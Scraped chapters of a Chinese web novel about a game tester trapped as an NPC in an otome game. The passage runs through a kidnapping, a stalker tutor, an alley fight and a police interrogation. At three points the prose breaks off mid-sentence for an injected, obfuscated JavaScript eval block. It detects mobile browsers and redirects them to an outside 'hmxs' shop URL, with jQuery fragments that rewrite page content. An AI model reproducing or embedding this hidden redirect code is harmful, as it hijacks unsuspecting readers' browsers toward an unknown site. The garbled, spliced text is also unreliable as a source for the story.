《乙游打工人也想当万人迷》
1. 绑匪
【数据导入中……】
【数据导入成功,多角色成当中……】
一个黑黢黢的大洞忽然弹出,原本密密麻麻的字符瞬间被吞噬,红色警示即刻布满整个屏幕。
【警告!警告!黑洞病毒入侵,多角色生成失败!】
【保护系统启动,唯一角色金禾幸存。】
【嗡嗡嗡……】
“啪!”
金禾抬手查看,掌心沾着血点与蚊尸,她面不改色地从包里抽出湿巾,擦拭手掌。
她又从包里掏出随身化妆镜,细细端详着自己的样貌。
长长的杏仁眼上挂着柳叶眉,鼻梁高挺,带着微微的驼峰。
她摸着自己窄窄的鹅蛋脸,满意地合上镜子。
“拿完属于你的那部分财产后,你不许再出现在南家。”收出这话的人带着不可商量的语气。
在金禾面前说话的家伙名叫南浔,一个流落在外的假少爷,被寻回后他在南家老爷子的鼎力支持下迅速掌管整个集团。
他爷爷死后,原主是家中唯一一个真心喜欢他的长辈,虽然这个爱不纯粹,但胜在原主有着非同一般的身份——南浔的继任奶奶。
不过这个身份很快就要被剥夺了。
金禾睫毛微颤,低垂着脑袋,抹了抹并不存在的泪水。
寂静的车里回荡着女人的哭泣声和出风口的低鸣。
南浔似乎已对这样的场景免疫,他没有良好的教养,也没有高尚的品德,所以他选择视而不见。
金禾手举地酸痛也不见有人搭理自己,也不打算自讨没趣,撇撇嘴靠在了窗户旁。
真是铁石心肠的孙子,一点都不懂得尊敬长辈。
流动的光河铺展在如墨般的夜色里,在车窗上晕染成模糊的光斑。
路边的行人与车灯,匆匆闪过她的视野。
她百无聊赖地戳着窗户,思索着自己什么时候才能从这破游戏里面出去。
自己正处在乙游《百亿少女的终极幻想》里面,如果把这款游戏看作一个故事,那便是一个女主角被五个男主角包围,最后将他们通通收入囊中的美好故事。
本来金禾只是游戏玩家的其中一员,可没想到黑洞病毒入侵乙游,身为攻略组的自己竟然被分派到维修组,还被投入这个游戏充当npc。
她现在完全联系不上其他同事,只能保佑自己能平安无事等到跟他们取得联系。
思绪回笼,她重重叹了口气,把视线重新放到窗外。
高楼剪影越来越淡,人烟变得稀少。
她记得两人应该要去的是律师事务所才对。
一种不好的预感在心底浮现,金禾立刻用终端给南浔发去讯息。
一个红色感叹号刺痛了她的眼睛,她挪动到假寐的南浔身旁,她掌心稳稳覆在他的大腿上,手掌传来温热,即便是隔着布料她也能感受到肌肉的紧实。
南浔身形一僵,猛地睁开眼,蹙眉睨着她。
金禾眼神不断往窗外看去,南浔顺着她视线望去,也发现了不对劲。
两人交换视线,南浔拿起终端开始联系警员,金禾用身体挡住他的动作,倾身向前道:“老王,哪里有便利店你停一下,放我下车买个东西。”
“好的。”车子缓缓停靠在一家便利店旁。
金禾拉动车门把手,可面前的车门纹丝不动,她扯着笑道:“老王,你是不是忘开车门了?”
“对的,不好意思啊。”老王往车门解锁键按去,忽然,他从座椅下方摸出一罐喷雾,毫不犹豫地朝着后座按下喷头。
白色雾珠喷涌而出,刺鼻腥味在狭小的空间弥漫开来。
金禾眼前瞬间模糊,她本想反抗的手僵在半空,身体不受控制地向一旁歪斜。
晕倒前,她还在心里吐槽这个司机一点都不专业,等他们发现了才拿出终极武器。
……
仓库深处两人被堆叠绑在一张椅子上,灰尘顺着轮廓堆积在废弃机械上,几桶崭新的油桶分布在各个角落。
干燥的灰尘钻进呼吸道,硬生生把昏迷中的金禾呛醒。
“咳咳咳。”
她困难地掀起眼皮,转动脖子观察四周。
她的前面上面右面都是灰墙,她的左边是靠在她肩膀上的脑袋,她的下面是另一个人质,下面的下面是一张看上去有些年份的人体工学椅。
粗硬的绳索将两人牢牢缚在一起,二人胸膛紧贴。
金禾眼里流露出不满,她实在是欣赏不来这种将人质面对面上下拼在一起的捆绑方式。
唯一的好处就是这样比较温暖了。
虽然她是攻略组倒数,但是她还是身怀许多绝技的。
手腕被勒得发麻,她咬牙调整姿势,让被绑的手臂尽量舒展,靠着手指慢慢在脑子里绘制死结的形状。
“唔……”南浔被身前的动静惊醒,他眼里冷若冰霜,散发着威压。
可他嘴巴被人贴了银色胶布,无法开口说话。
金禾是个固执己见的家伙,她不会因为身后跟他一起被绑的家伙是自己的‘金主’就停止反抗,她压低声音道:“请相信我,我很快就能把这个结解开。”
她垂眸凝神,指尖捻住绳结,指腹顺着绳纹摸索,拨开最外层缠绕的绳圈,将嵌在缝隙里的线头缓缓抽出。
“啪。”震耳欲聋的开门声在空旷的仓库显得格外刺耳。
灰尘被气流扰动,缓缓扩散开来。
金禾屏住呼吸,迅速停下了手上的动作。
绑匪拿着刀指着二人,吼道:“你们两个在干吗呢!南总,你最好劝你的小情人安分些。”他冷哼一声走到了一边。
“哥,你绑错人了,我不是他情人。”我是他奶奶。
即便原主确实有些非分之想,也不至于会被误会到这个程度。
金禾可没听过伴侣继承制,她的便宜丈夫是没了,但这不代表自己就变成自己孙子的小情人。
“少骗我,媒体都拍到你们深夜约会了!”绑匪从口袋里掏出一堆照片,甩到他们面前。
相纸如纷飞的蝶群,洋洋洒洒飘落。
里面的内容各不相同,有金禾把咖啡洒到南浔白衬衫上的,也有她‘不小心’跌倒在南浔身上……画面丰富多彩,冲击力极强。
金禾盯着地上的照片,讪讪一笑,干脆闭了嘴。
那分明是原主在勾引自己孙子,跟自己有什么关系!
她忽然无比后悔接下这个烂摊子,她还记得自己前几个小时还信誓旦旦地跟领导保证自己会好好干活的。
不怪自己太贪心,只怪领导太会画大饼。
银色胶布下传出“唔唔”声,南浔似乎有话想与绑匪交谈。
金禾见他如此,再次开口道:“哥,你想要什么?南浔有钱,你想要的他能都给你,出去之后我们可以保证不报警,你们聊聊怎么样?”
“没什么好谈的,我要的他给不了我,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890026|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有他死了,她的眼里才会出现我。”绑匪拿起磨刀石开始磨刀。
她沉默片刻道:“哥,你能不能放过我……”
“万一以后上天堂,这人身边还空着,她一定会离开我的,所以你要陪着她一起。”绑匪眼底布满红血丝,恶狠狠瞪了眼金禾。
“嚯啦嚯啦。”
磨刀声让金禾浑身泛起鸡皮疙瘩。
这种极端的感情纠纷怎么就被她给碰上了呢?这就是乙游的威力吗?
她心里正想着,余光不自觉落到胶布上。
她或许可以用嘴撕开。
谈判这种事情,还是要交给专业的人。
她忽然凑上前,用牙齿轻轻咬住胶布边缘,收紧下巴。
南浔脊背绷直,立刻察觉到金禾的意图,配合着她移动头。
胶布褪去,露出他被压得泛红的薄唇。
金禾刚松口气,便见南浔直勾勾盯着自己。
她偏头措不及防撞进那双丹凤眼里,一旁忽闪忽闪的台灯打在南浔漆黑的眼底。
两人呼吸交缠着,温热的气息拂过彼此的脸颊。
“叮叮叮。”
绑匪的终端不断震动,他眼里忽然迸发出光亮,他小跑着出去接电话。
金禾趁机将嵌在绳结里的线头勾出,用力一拉,腕间的绳索滑落。
她身子往下压去,手心冒汗,试着解开捆着两人的绳结。
一个东西一直不停硌着她,可她没解开外圈绳子又没法避开那一点。
衣料的摩擦声在沉寂中被不断放大。
“抱歉。”南浔张开了他一直紧抿的唇瓣。
金禾沉吟半晌道:“没关系……你当时终端有联系上人吗?”
如果南浔真的一点反应也没有,金禾反倒会以为他不太正常。
“终端联系不上外界,律师联系不上我们,就应该知道我们出事了。”
绳索散落一地,金禾滑下来,帮南浔扯掉了手腕上的绳。
她盯着手心,指尖似乎还残留着绳料的粗糙触感。
南浔从一旁抄起两个废旧铁杆,将其中一个递给金禾。
金禾接过杆子,二人蹑手蹑脚地往门口走去。
“吱呀。”
生锈的铁门缓缓被推开。
门外空无一物,天边泛起肚鱼白,没过膝盖的草被风齐齐扫向一侧。
“滴滴滴。”
一辆玩具小车载着一个黑色的保龄球缓缓从草丛里跑出来。
金禾几乎马上判断出这是一颗炸弹,她瞳孔骤缩,他们已经来不及跑远了。
“嘭!”
保龄球如同被火烘烤的玉米,炸开了小小花。
金禾心依旧高高悬着。
这会不会是绑匪戏弄他们的小把戏?
她脑海里浮现出那些崭新的油桶,脸色微变,拉住南浔狂奔。
不远处汽车的轰鸣,一辆黑色越野车从仓库后面钻出,车窗降下,驾驶座上的人急声喊:“快上车!”
金禾此时也顾不得上头的好人坏人,她拉着南浔一头扎进后座,车门还未关上,车子已蹿了出去。
车子逐渐驶离仓库,不等她喘口气,外头忽然响起喇叭声。
“叭叭叭。”
她一颗心跳到了嗓子眼,她回头被那大灯晃了眼睛。
驾驶座的人疯狂吼道:“坐好!”
“嘭!”
金禾眼前陷入了一片黑暗。
2. 报警
不知过了多久,迷迷糊糊间,一只手抚摸上她的脸,一道黏腻的视线粘在她的眼睛上,她一把握住了那双冰凉的手,那股凉意令她浑身一颤。
那是没有恶意的眼神,确认完这点后,她掀起眼皮,一个陌生人坐在她的床头。
四周的陈设变了样,晨光洒进房里,斑驳了木质地板。
不过这些,她都看不见。
她眼前只有一片朦胧的光,她抬手摸着自己的眼睛,触碰到了柔软的纱布。
“你眼睛还没好……还要休息一个月才能取下来。”面前人将她手温柔地放到一边,“怎么睡傻了?”
金禾听着这温和清洌的嗓音,鼻子里钻入淡淡的茉莉香,那香味似乎藏着无毒气体,闻得她不由晕晕乎乎:“我还想休息一下。”
“好,我先出去了。”那人走到门口,将门拉开,再将门关上。
一拉一推间,他还在屋内。
金禾一头雾水,完全摸不清眼前状况。
自己这是被变态囚禁起来了?
她躺在床上,触碰着自己的脸和身体。
没有伤口,长相似乎也没发生改变。
一阵电流声忽然在脑子里乱窜。
【……宿主?你还好吗?】
“一点都不好……”
听见熟悉的系统声,她都快感动得痛哭流涕,可碍于那个变态还待在自己房间,她只能装作若无其事地睡觉。
【宿主,有一个好消息和坏消息你想先听哪个?】
金禾把头埋到枕头里,闷闷道:“一起说吧。”
【好消息是你是维修组里面唯一被传送成功到乙游里面的人!坏消息是你可能需要干好几个人的活。】
这明明都是坏消息!
金禾已经疲惫地无力吐槽着一切了,她生无可恋地钻到被窝里,把自己卷成一团。
【现在给系统输送剧情。】
随着大脑一点点被填满,金禾渐渐摸清了状况,她的另一副身体昏迷了,所以她被传送到了自己的备用替身上,这个身体身份是位还在上大学的千金大小姐,而这个躲在她房间不出去的人名叫江子墨,是男主角之一,也是个不折不扣的变态。
她当时玩这个乙游时便对这人印象深刻,毕竟很少有人会像他一样热衷于折磨他人。
自己现在是他亲妹妹眼角膜捐赠对象。
他希望自己妹妹的捐赠对象善良大度,认为只有跟他妹妹一样善良的人才能有资格拥有这个眼角膜。
他应聘上了这位小姐的家庭教师,现在他正在考察这位大小姐。
一位看上他脸的大小姐。
这个大小姐似乎不只看上了一个人……
金禾这人小肚鸡肠、睚眦必报,但是为了任务她愿意伪装得善良一些。
她闭上眼皮继续装睡,对着系统道:“我需要怎么修复这个游戏?”
【1、宿主需要收获男角色的爱,得到满分魅力值(目前魅力值为0),成为万人迷,届时病毒会附身全游戏最有魅力的女性,也就是宿主身上,到时候我会对它进行清除。
2、解救被病毒感染的恋爱脑npc,维护游戏最基本的运作。
3、在多个剧情点扮演多重角色。】
“只要让别人觉得我有魅力,我不就是万人迷了?为什么一定要男角色的爱?”
系统无法回答这个问题,它跳过这个问题的答案道:
【监测到海潮路有人即将长出恋爱脑,请宿主快速前去。】
金禾翻身平躺在床上,精神力不断探查四周,恨不得立刻把那个盯着她的变态踢出门,这个人的存在简直就是个拦路虎。
“嘭嘭嘭。”
门口响起叩门声,叩门声很显然是从屋内传来。
金禾浑身一颤,不理解为何要从屋内敲门。
这人难不成是故意的?
她沉吟半晌道:“请进。”
这人是变态就算了,还想让自己发现他是变态,真是脑子有坑。
“吱呀。”门被拉开。
“金小姐,我忽然有急事,能不能将课程提前呢?”
江子墨不疾不徐地用手指敲击墙壁,等待着金禾开口。
金禾心底掀起惊涛骇浪,不是因为江子墨突如其来的考察,而是自己现在扮演的角色似乎不信金。
【宿主……那个数据出了点问题,由于你的脸使用的是同一个,现在所扮演的角色也都只有一个名字,长得也一样……】
呵呵。
金禾在心中冷笑,或许有一天报纸上会刊登一篇花边新闻,标题就是《南家掌权者奶奶居然是金家大小姐的替身》。
“金小姐?”江子墨唤回了她漂飞的思绪。
她扬起笑,雀跃道:“当然可以了,江老师。”
江子墨快步上前,拉起她的手,温和嘱咐道:“小心些。”
“老师,我自己可以的……”她收回手,手上似乎残留着皮革手套的余温。
这个天气似乎不需要戴手套吧?
或许江子墨只是单纯嫌弃自己,必须戴手套才能让自己触碰。
“可你昨天不是点名要我来帮你梳洗吗?”江子墨强硬地拉住她的手。
金禾讪讪一笑,放缓声音:“我总觉得江老师给我一种很亲切的感觉,只是单纯地希望你陪在我身边。”
“是吗?”江子墨慢慢收回自己的手,“那我在这里等你。”
“好……”金禾如同刚学会走路的幼童,挪动步子,徐徐走到浴室。
她迅速拉上门,扯开纱布,打开水龙头,捧着冷水洗了把脸。
水珠顺着她下巴滴落,她一瞬不瞬地盯着镜子里和昨天的自己长得别无二致的脸。
金禾的手搭上镜面里那双疏离的眉眼,她轻轻“啧”了声,给自己眼睛缠上纱布后走出浴室。
她往江子墨所待着的相反方向叫道:“老师?”
江子墨并未回应她,她背过身攥着保姆前一天为她搭配好的衣服自顾自换起来。
令她没想到的是,江子墨立刻背对过去。
看来这个变态老师还是个翩翩君子呢……
她穿着普通的白T和牛仔裤,往门口走去,江子墨顺着她的移动轨迹挪动步子。
脑袋里忽然弹出了个坏点子,她假意往前走,在接近门口时倏然改变方向,朝着江子墨所在的地方走去。
这个房间并不大,她轻而易举地就把江子墨逼到了阳台角落,角落里散落着未收拾的画笔。
正当她以为自己就要逮住江子墨时,那人跳出了阳台,一溜烟没了影。
好吧……看来这位变态老师皮下是只壁虎。
不一会儿,门外传来了他的声音:“金小姐,您好了吗?”
金禾冷嗤一声,自己还以为这人多有耐心呢……
她故意碰到一旁的画布,坐在地上,皱着眉头。
反正别人也看不见她被蒙着的眼睛,自己动动眉毛就好了。
“金小姐?”江子墨快速拧动把手,冲到了她面前,语气关切,“你还好吧?”
金禾虽只能感知到他的存在,但也能猜到他的目光一定毫无温度。
她撑起身子起身,捂住手肘,勉强挤出笑容道:“还好……那今天能不上课了吗?”
话落,她扣着手指,等待着江子墨的回答。
“当然可以,金小姐。”江子墨毫不犹豫地答应下来,随后叫来管家,自己先行离去了。
不过片刻,管家赶到,他试探着开口问道:“小姐,要叫家庭医生吗?你眼睛难
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890027|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受吗?”
明眼人都能看出来金禾是假摔,但管家自然要把它当真的来对待。
“不用。”她拍拍身子,“准备出门的车,顺便给我拷贝全部的监控视频。”
管家小心翼翼问道:“小姐是去参加先生给你安排的相亲吗?”
“不是,帮我推掉吧。”
管家为难道:“可是先生说这次你必须去,况且小姐你前几天才做了角膜移植手术,眼睛目前还没恢复好。”
金禾没理会他直接出门,乔装打扮一番后,从后门离开。
……
【宿主,我制作的定位系统不错吧?】
“确实不赖。”她望着终端地图上不断靠近的两点,赞许地点头。
她摇下车窗,定定望着远处的高楼大厦,一个广告被放映在大屏幕上。
“摇一摇更过瘾,派对搭子就选泡泡汽水。”
广告上的代言人疯狂摇动泡泡汽水,开盖瞬间,泡沫如烟花般炸开。
她心想,这特效做得还蛮逼真的。
倏然,大厦的玻璃窗上反射的光线照到了她眼睛上。
她抬手捂住眼睛,十几分钟后,她出现在了一个昏暗巷子里。
窄巷深处的阴影里挤着五个壮汉,他们背靠着砖墙,胳膊上的纹身在暗影里若隐若现,指尖夹着的烟蒂红光明明灭灭。
他们壮如铜墙铁壁的身体包围着一个瑟瑟发抖的女孩。
“想叫我们还钱,我们什么时候借过你钱?”
“我们欠得是你哥哥的,又不是你的。”
……
【男主将在十分钟后出现,宿主需赶在这之前解救无助的少女。】
金禾戴上手套,从地上捡起个砖头,放在手里掂量了掂量。
好像会砸死人。
她换了个稍微小一些的砖头,射出了一条完美的抛物线。
“嘭。”
正中靶心。
几人鞋底碾过还冒着火星的烟头,眼神死死锁在巷口的金禾身上。
金禾在他们变得惊恐的目光下挑了块大砖头。
“啪啪啪。”
弱小无助的美少女为了拯救公主,将几只地鼠打到了地上。
金禾正在为自己的英勇事迹感动,下一秒角落里的女孩颤巍巍地起身向她道谢。
金禾嘴角漾开笑容:“他们欠你多少”
“三万。”女孩低下头,攥紧身前的包。
金禾对着倒地装死的地鼠道:“嘿,每人只要交一万就能离开,怎么样?”
见无人响应,她默默从口袋里掏出电棍,按下开关。
“滋滋滋。”
悦耳的声音成功唤醒了沉睡的壮汉,他们龇牙咧嘴地从地上爬起来。
金禾善解人意地开口道:“给你们打个九点九折怎么样?”
“要钱没有要命一条。”离金禾最近的人一屁股坐在地上,颤颤巍巍地从口袋里掏出烟。
“行!”金禾如他们所愿将他们打趴在地上。
几分钟后,他们终端纷纷弹出转账成功的消息,金禾收回了捏着他们终端的手。
“谢谢。”女孩泪眼婆娑地给她鞠躬,一步三回头地离开了。
【宿主魅力值加一,当前魅力值为1。】
哎,她这该死的魅力。
金禾撩了撩头发,从巷子口离开。
手腕上终端震动,她低头看去,脑袋猝不及防撞上一个坚实的胸膛。
她稳住身体,在心里暗暗骂道:
靠,这个人走路不看路!
金禾根本不会把错误归结在自己身上,她怎么会有错呢。
那人似乎完全没有道歉的意思,他平静地拨通电话,淡声道:“你好,我刚刚目击了一起暴力事件……”
3. 威胁
金禾一把把他抓进了巷子,将他狠狠摁在墙上,拿起电棒对准了他的脖子。
“我看错了,不好意思。”那人仰着头,漫不经心地俯视金禾。
金禾望着他那双桃花眼,心莫名其妙开始躁动,不多时,她便在原主的记忆里寻找到了这个人。
这人名叫唐懿,男主角之一,是原主高中时期的明恋对象,原主追爱不成由爱生恨,经常找人在各种地方堵他,原主看上江子墨后就再也没有找过唐懿。
“先生,先生,您是受到威胁了吗?”
“没有,是我看错了。”唐懿关闭通话,静静盯着金禾。
唐懿简洁明了地道明目的:“封口费。”
【恭喜宿主解锁角色——反派的黑月光。】
“要钱没有要命一条。”金禾收起电棒,冷着脸,顶着副欠揍的表情瞪着唐懿。
唐懿晃了晃手腕上的终端,有口型比着“封口费”。
很好,很好唐懿,我记住你了。
金禾窝了一肚子火,等自己成了万人迷,一定要找人干他。
她拉住唐懿,把他推到那群倒地的壮汉前,双手抱胸:“你自己拿他们终端贷款吧。”
想让她拿钱,除非天塌了。
唐懿蹲下身拿起他们的终端对准他们的脸,一顿操作,过了会儿他们终端弹出提示:“信用值过低,无法贷款。”
他放下他们的手,起身看着金禾道:“真穷。”
金禾严重怀疑这家伙是在说自己,但她没有证据。
唐懿从头上取下帽子,按在金禾的头上,随后头也不回地走了。
这是什么意思?垃圾不扔垃圾桶扔她头上。
金禾摸着头上的帽子,眼底写满疑惑。
经历了这两天的这些事件,金禾强烈意识到自己需要一个保镖。
一个强壮英俊的保镖负责自己的衣食起居。
一个幽默风趣的保镖抚慰她脆弱的心灵。
她盯着唐懿远去的背影,凝视着那瘦削挺拔的背影,脑子里不由自主弹出他那颗鼻梁上靠近眼头的那颗痣。
很显然这个男人不适合做她的保镖。
等那抹身影彻底消失在视野里她才收回视线,她专心地自己刚刚未收到的短信。
「管家」:小姐,监控坏了。
「金禾」:全部都坏了?
「管家」:是的,我会尽快找到原因。
「管家」:小姐,那场相亲很重要,你过去了吗?
「金禾」:过去了。
呵,诡计多端的男人,以为拿走监控她就是没有办法了吗……
是的,她没有办法了。
金禾扶额苦叹,自己真的需要一个保镖了。
“轰轰。”
一辆摩托车从她面前呼啸而过,她扫了眼车上的飙车选手,觉得那个背影有些眼熟。
有点像自己的变态老师。
江子墨怎么会跟着自己呢?系统制作的地图系统上那人离自己明明很远。
看来是自己多想了。
她漫无目的地在这条街上走着,忽然,一个贴在电线杆上的红底黑字的广告吸引了她的注意力。
找保镖就上羞羞拳馆,你想要的都有!!!
好不靠谱。
可金禾就喜欢这种不靠谱的。
她按照地图导航到一家酒吧,她前前后后确定了好几次才迈开步子,走了进去。
“白天不开门。”擦拭杯子的酒保他懒懒睨了眼金禾。
“我来找保镖。”金禾从兜里掏出已经被她揉得皱巴巴的纸团,拍在吧台上。
酒保态度来了个一百八十度的转变,他扬起嘴角:“这边请。”
金禾跟着他顺着楼梯下去,四周渐渐变得嘈杂,
空气里混杂着汗臭、血腥与劣质酒精的味道,白炽灯在头顶摇摇晃晃。
她拉低帽檐,捏着鼻子,寻找着记忆里的人影。
她不大喜欢吵闹的地方,特别是这种打黑拳的场所。
赌注声此起彼伏,一声声呼喊将铁笼内外的人影切割。
角落里站着一位穿着老头衫,剃着寸头的人,他漠然地盯着朝他而来的金禾。
一个黑影从他眼前一晃而过,下一秒,金禾面前出现了一个壮汉。
唐懿掐灭手里的烟,不耐烦地“啧”了声,朝金禾走去。
身侧的人瞧见他主动让开一条道,他特地放慢步子,想看看这个小姐的丑态,没想到下一秒就看见刚刚那个壮汉倒在了她的脚下。
酒保盯着金禾沾着血迹的拳头,不动声色把壮汉往边上一踢,拉着唐懿的衣服往金禾面前拽,恭敬道:“你觉得这人怎么样?”
金禾眉眼淡然,挑眉道:“我能不能单独给他聊一聊?”
她忽然改主意了,这些男角色都是带有主角光环的,自己碰到危险拿他当肉盾也是极好的。
唐懿绝对是肉盾的最佳人选。
“走吧。”唐懿转身在前面带路,下一瞬,他感受到有个冰凉的东西在他背上摩挲。
他没有避让,只是冷笑:“我没有当你擦手布的义务。”
“等会儿就有了。”金禾先他一步推开休息室的大门。
“工作内容。”唐懿坐在露出泛黄棉絮的破沙发上,手搭在磨得锃亮的沙发皮上,仰头看着用那双桃花眼一眨不眨地凝视着金禾。
他浓密的眉毛向上扬起,骨相优越,眉眼深邃。
金禾时间宝贵,也懒得和人虚与委蛇,她直入主题道:“我需要一个保镖,长得帅性格好,能逗我开心,绝对服从命令。”
“那是鸭,不是保镖。”
金禾面无表情地踢了下他的脚:“那你能不能当?”
“钱到位一切好说。”唐懿低着头,表情隐匿在黑暗中,叫人看不清,猜不透。
金禾点了点头,痛快道:“有道理,这是一个月的工资。”
“叮咚。”唐懿终端震动,他低头解锁屏幕,而后嗤笑一声,“金大小姐现在这么穷吗?”
二十万还嫌少?
金禾捂住脸,轻轻歪头,一字一顿道:“剩下的是另外的价格。”
此话一出,周围瞬间陷入安静,唐懿掏出打火机和烟,正欲点燃便被金禾拍到了地上,
“我讨厌烟味。”她视线落到对方凌厉的眼神中,“表现好有奖金。”
“唐懿,到你上场了。”门外传来呼喊。
“好。”唐懿起身,高大的身影遮挡住她的视线,而后绕过她往门走去。
金禾抱着胸,转头盯着他眼角的乌青道:“我希望下次见面你漂漂亮亮,干干净净出现在我面前。”
唐懿没回答她,他折身到了一边的铁皮柜旁,从里面抽出几张湿巾,缓缓走到金禾面前,托着她白皙的手指,细细为她擦拭手上的血污。
待他收回手,金禾反复翻动着自己如玉瓷般的手,弯着眼角道:“我手真好看。”
唐懿把湿巾对半折,而后拿湿巾蹭了蹭嘴角的血污。
临走前,他留下了一句:“我周末需要时间陪我妹妹。”
金禾背对着他,没给任何反应。
“嘭。”门被重重甩上。
金禾还在欣赏自己的手,她用大拇指依次摸过自己的美甲。
态度真差,这钱花得真不值得。
【宿主要等他下班吗?】
“这里好臭,我不要待在这里。”金禾一分钟都不愿意在这里多待,她快步离去,经过擂台旁,身旁响起了别人的交谈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890028|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声。
“这个唐懿怎么回事,今天打这么保守。”
“怕脸被打呗,听说他被富婆保养了。”
什么包养不包养的?他们这是正当的金钱关系。
金禾捏着鼻子从拳馆走了出去。
……
午后的阳光穿过咖啡店的落地窗,在原木色地板上投下菱形光斑,店内弥漫着咖啡豆的焦香。
金禾坐在皮质沙发上,摆弄着实木桌上的磨砂玻璃灯。
服务员将盘子端到她面前道:“您的提拉米苏和热可可。”
“谢谢。”
金禾捏着银质小勺,小口小口地舀着蛋糕吃着。
【宿主,唐懿下班了。】
“可是我还没吃好。”金禾搅动着马克杯里的可可,“你给他发个地址,让他过来找我。”
不一会,唐懿出现在了咖啡店的落地窗前,他和金禾隔着镜子相望。
阳光落在她的发梢,镀上一层柔和的金边,裹着她周身的惬意。
他走进咖啡店,紧紧攥住手里的衬衣,坐到了金禾对面。
“你要吃吗?”金禾面前摆着五六个碟子,除了最初的提拉米苏她吃了一半,其余地都只尝了一口。
唐懿套上衬衣,迟疑地拿起金禾的勺子,挖了勺开心果千层。
他不大自在地垂着头,他鲜少到这种地方,总觉得自己和这些地方格格不入。
“这家伙为什么用我的勺子?他刷牙了吗?”
【宿主,你知道你为什么是攻略组倒数吗?】
“因为那些男人没眼光。”
系统被金禾弄得无话可说,但是有些时候,宿主确实很敬业。
唐懿咽下嘴里的奶油道:“今天是周六。”
金禾不是那种不让属下请假的人,更何况唐懿是要去见他生病的妹妹。
她神色淡淡:“你妹妹喜欢吃草莓吗?”
“喜欢。”
闻言,她起身去玻璃窗口挑了款草莓蛋糕,让店员帮忙打包,抽出里面的账单扔掉,最后放到了唐懿身旁。
唐懿敛去眼底的警惕,沉声道:“你到底想要什么?”
“做个好人。”金禾身子向后仰,靠在沙发上。
见面前人只是沉默地吃着蛋糕,她道:“你平时要负责保护我,逗我开心,知道吗?”
“如果我做不到呢?”
金禾望向窗外,平静道:“这是你要思考的事情,我花钱就是为了买服务的,不是在和你商量,明天开始上班。”
“好。”唐懿夺过她面前剩余的热可可,一饮而尽,拿着袋子离开咖啡店。
好没职业素养,没经过老板同意就吃老板东西,看来之后的调·教还需要费一番功夫。
金禾跟他保持着不远不近的距离想看看他妹妹是在哪家医院。
突然,眼前人止住脚步,折身走到她面前。
“别跟着我,老板,我还没开始上班。”
“是吗,那明天见。”
金禾歪着脑袋跟他挥手。
“哔卟哔卟。”
模糊的警笛声循着街道飞速逼近二人。
轮胎碾过路面的摩擦声戛然而止,警车猛地在他们边上刹住,两扇车门同时弹开,身着警服的身影快步上前。
“保镖,我明天还见得到你吗?”她摸着下巴,决心要扣掉唐懿的一天工资,她并不觉得这些人是来抓她这个守法公民的。
“不许动!”冰凉的手铐锁住了唐懿悬在身侧的手腕。
蛋糕袋被摔在地上,纸袋里的勺子被甩出。
唐懿似乎对这一切免疫了,他视线落到金禾身上,紧抿着嘴唇。
警员把头转向金禾:“小姐,有热心市民看见了你袭击了他人。”
4. 指认
被指认的金禾无辜地眨着眼睛。
还没说什么事情呢,怎么就变成我指使的了?
“小姐,麻烦你跟我们走一趟。”另一个警员面对她时显然和蔼了许多。
金禾如同受惊的小鹿,杏眸湿润,畏畏缩缩地跟着他们上了车。
自己居然被抓住了,她好伤心,好难过。
难过地想吃卤鸭头、卤鸭爪……
……
“啪。”
审讯室的光不偏不倚地打在金禾头顶。
冷光刺得她眼睛生疼,她闭着眼睛坐在凳子上。
直白的光线将她的情绪捕捉得一览无余。
没有惊慌,没有恐惧,只有对自己时间被浪费的怨念。
金禾擅长伪装,但她懒得伪装,她对扮可怜只有三分钟热度。
就像她对以往遇见的任何事情一样。
“咔嚓。”
眼前的门把手被人拧住,那人开门后先是绕着金禾转了一圈,才坐在她面前。
好眼熟啊……
这已经是金禾今天眼熟的第二个人了,但很可惜她并没有从原主脑袋里找到什么有用东西。
虽然她称呼自己附身的人为原主,但其实这只是游戏里的一串代码而已。
她敢说在这个游戏里没有任何人能比得上自己,好歹自己还是作为人存在的。
“扣扣扣。”
金禾目光停在面前正在扣桌的手上,那双手的肌肤下包裹着微微凸起的经脉,线条流畅,指尖修长,指甲边缘打磨得十分光滑,透着和脸截然不同的光泽。
她将视线移到那人过于白皙的脸上。
剑眉如墨,鼻梁高挺,嘴唇微翘,一双眼睛瞧上去柔情似水。
这样的人说实话不太适合审讯,瞧上去温文尔雅,比起警员或许更像是大学教授。
“我是顾言秋。”顾言秋翻动着她的资料,温和地问道,“你喜好是什么?”
“什么?”金禾从未听过有审讯是问这些的,但她见对方面色如常,一板一眼答道,“看书。”
学生最爱看书,没什么毛病。
她慢慢从剧情里找到了这人名字,他居然也是男主之一。
